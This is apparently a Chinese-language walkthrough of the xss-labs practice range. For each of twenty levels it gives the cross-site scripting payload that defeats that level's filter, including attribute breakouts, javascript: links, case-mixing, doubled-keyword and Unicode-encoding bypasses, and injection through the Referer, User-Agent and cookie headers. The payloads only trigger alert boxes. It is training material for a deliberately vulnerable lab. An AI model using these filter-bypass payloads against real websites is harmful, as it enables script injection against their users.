level-01
发现这道题有get请求,参数为name, 直接构造payload
1 | name=<script>alert('xss')</script> |
level-02
1 | 当提交 keyword=<script>alert('xss')</script>的时候,查看源码显示<input name=keyword value="<script>alert('xss')</script>">,很显然此时没有闭合,js代码必定不会被执行。 |
level-03
继续按照第二关的注入方式,发现后台对尖括号进行了过滤,那尝试不用尖括号。两种方式:
1 | 1.'onclick='alert(/xss/) #标准格式:onclick='alert(/xss/)',点击输入框触发 |
看了别人的wp,这里顺便解释一下htmlspecialchars()函数:
1 | htmlspecialchars()函数把预定义的字符转换为HTML实体 |
level-04
和第三关基本上是类似的,这道题只需要把单引号改为双引号就行了。
1 | 1."onclick="alert(/xss/) |
level-05
直接按照第四关那样注入,出现了:
按照第二关注入,出现了:
尝试使用大小写转换,发现结果仍然一样。可以确定后台对script和on都进行了过滤。按照网上的提示使用编码的方式进行绕过过滤,发现网页无法识别。仔细思量,会发现此时尖括号并没有被过滤。于是可以构造payload:
1 | "/><a href="javascript:alert(/xss/)"/>链接</a>// |
此时点击超链接,就可进入下一关。
level-06
按照第五关进行注入,出现:
对href进行了过滤,变换大小写发现成功了。
1 | "/><a Href='javascript:alert(/xss/)'>链接</a>// |
level-07
这一关过滤了script、on、src、data、href等关键字。大小写也不能绕过。
1 | 1. "/><a hrhrefef="javascscriptript:alert(/xss/)">a</a>// |
通过重复关键字绕过过滤。
level-08
根据友情链接 进行恶意js构造,发现仍然过滤掉了很多东西,大小写、重复写都没有什么用处。然后想到了对关键字部分进行编码操作。
1 | unicode编码:javascript:alert(/xss/) # 只需对最后一个单词t进行编码即可 |
level-09
按照上一关进行注入,竟然直接显示:
发现只要添上 http:// 就不会这样显示。
1 | 1. javascript:alert(/xss/)//http:// |
level-10
看起来有点棘手。页面中没有任何可以点击的元素。但是会发现form表单里面有三个隐藏的input参数。
为了找到注入点,可以分别对这些参数进行get传参。
1 | ?keyword=1&t_link=1&t_history=1&t_sort=1 |
发现只有第三个input处的value被附了值。故可以确认此为注入点。
但是此处过滤了尖括号。按照第四关进行注入:
1 | ?t_sort="type="text" onmouseover="alert(/xss/) |
其中type类型可有多种选择:text、radio、button、submit等。
level-11
从这一关开始,注入点就变了。用上工具burpsuit是很有必要的。
查看元素,发现t_ref参数处的值是第10关处构造的url,则说明后台读取了HTT[请求包的Referer,并写入了HTML页面。
所以只需要利用工具HackBar,修改referer的值为:
1 | " type="text" onmouseover="alert(/xss/) |
level-12
查看元素,发现t_ua后面value里面的参数和User-Agent里面的一模一样,则注入点可以确定在此。
所以只需要利用工具HackBar,修改User-Agent的值为:
1 | " type="text" onmouseover="alert(/xss/) |
level-13
根据返回的html判断cookie字段为web页面的自定义变量,则注入点可以确定在此。
所以只需要利用工具HackBar,修改cookies的值为:
1 | user=" type="text" onmouseover="alert(/xss/) |
level-14
14关绝了,一直在加载。给的那个 http://www.exifviewer.org/ 也访问不了。
查了好多的wp,都是直接跳过这关了。
本关属于exif XSS,需要上传一个含有xss代码的图片触发xss。
具体wp参考:巨人肩膀上的矮子
level-15
很明显,本关的注入点在 src 那块.
1 | AngularJS ng-include指令: |
后台源码显示nginclude调用采用htmlspecialchars过滤输入的src变量,直接在包含的页面里用<script>
触发不了,用了img标签。
1 | src='level1.php?name=<img src=x onerror=alert(/xss/)> |
level-16
很容易发现keyword处存在注入。多次尝试发现过滤了script、空格和 /,
用换行符 %0a 取代空格,构造payload:
1 | keyword=<img%0asrc=x%0aonerror=alert(1)> |
level-17
arg01和arg01的变量存在注入。当输入arg01=c&arg02=bdaerfre,显示:
本题过滤了尖括号和双引号,用on关键字触发。
1 | arg01=a&arg02=b onmouseover=alert(/xss/) |
但是这里有个小问题需要注意一下,就算你这道题做对了,他也没有任何弹窗的提示,因为火狐不能打开swf后缀的文件,换个IE或者360浏览器就可以了。
level-18
和上道题基本上一样,唯一不同的就是对双引号进行了过滤。构造的payload同上。
level-19
属于flash XSS,目前还不懂。
level-20
同样属于flash XSS,需要反编译,不会。
靶场地址:https://github.com/paralax/xss-labs ,最近发现靶场源码被删了。嘿嘿,幸好早就放进了网盘。
链接:https://pan.baidu.com/s/1cj13lPUs1MbMvLKmEY-pqw
提取码:6p2d。
需要注意一个我自己遇到的问题,在搭好环境后,我的burpsuit无法抓到包。但是其他的网页就可以。后来才找到了办法:
为了方便切换多个代理设置,我用了插件 Procxy SwitchyOmega 。